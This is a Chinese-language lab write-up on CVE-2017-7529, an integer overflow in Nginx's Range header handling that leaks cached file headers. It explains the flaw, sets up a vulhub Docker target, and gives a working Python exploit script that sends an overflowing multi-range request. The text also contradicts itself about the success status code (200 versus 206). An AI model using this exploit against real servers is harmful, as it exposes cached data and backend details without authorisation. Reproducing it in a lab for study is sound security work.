影响范围

  • Nginx 0.5.6 - 1.13.2

漏洞类型

整数溢出

操作系统限制

配置要求

Nginx 开启了缓存功能

漏洞利用

信息泄露

利用原理

Nginx 处理 Range 请求的模块计算请求范围时候使用了 64 位有符号整数,在计算多段请求时候,Nginx 会计算总的返回长度,攻击者通过给出接近 64 位整数机选大数字,两个负数相减或正数相加,结果超过 64 位整数能表示的最大范围,这个数值在计算机内部发生了溢出。当 Nginx 开启了缓存,存文件的格式不是纯文本,而是包含 KEY、过期时间、后端服务器信息,后端返回的原始头信息,以及真正的网页内容,由于漏洞导致的整数溢出(没做边界检验),攻击者构造负数起始位置,在通过整数溢出使得请求变得合理(大整数与负数相加后整数溢出变成极小的数,极小的数小于实际文件总长,使服务器认为请求合理),Nginx 内部计算的原始读取位置发生了偏移,可以让出错的指针刚好落到缓存头区域,进而读到缓存的内容

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/nginx/CVE-2017-7529
#拉取镜像
docker-compose up -d

1773155403452

写攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

# 确保指向 50x.html,通常情况会用目录爆破工具查找被缓存的静态资源,文件名字要对,如果请求文件不存在会返回404
url = 'http://靶机:8080/50x.html'

checker = requests.get(url)
print(f"Cache Status: {checker.headers.get('X-Proxy-Cache')}")

file_len = len(checker.content)
offset = 606

p1 = file_len + offset
p2 = 0x8000000000000000 - p1
headers = {
'Range': f'bytes=-{p1}, -{p2}'
}

r = requests.get(url, headers=headers)

print(f"Status Code: {r.status_code}")
if r.status_code == 206:
print("\n--- 成功!泄露内容如下 ---")
print(r.content)
else:
print("\n--- 失败 ---")
print("返回的还是 200,说明没触发溢出。请尝试再运行一次脚本以确保缓存 HIT。")

1773155515533

运行脚本,返回 200 且看到泄露的内容

1
python3 exploit.py

1773155564688